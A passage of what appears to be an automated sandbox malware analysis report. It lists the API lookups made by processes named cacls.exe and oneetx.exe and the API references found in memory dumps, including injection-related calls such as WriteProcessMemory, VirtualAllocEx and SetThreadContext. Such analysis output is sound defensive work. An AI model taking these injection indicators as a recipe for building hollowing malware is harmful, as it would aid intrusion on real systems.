ReleaseSRWLockExclusive (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006044) "cacls.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003520) "cacls.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003520) "oneetx.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00005192) "oneetx.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007488) "oneetx.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00007488)31:Tbe17,Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00006156.00000000.69248.00081000.00000020.mdmp") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00006156.00000000.69248.00081000.00000020.mdmp") Found reference to API (Indicator: "CompareStringEx"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "LCMapStringEx"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "FlsFree"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "FlsAlloc"; File: "00000000-00000932.00000000.69539.00BD1000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteProcessMemory"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "VirtualAllocEx"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetThreadContext"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountNameW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetOpenA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetConnectA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InternetReadFile"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; File: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; 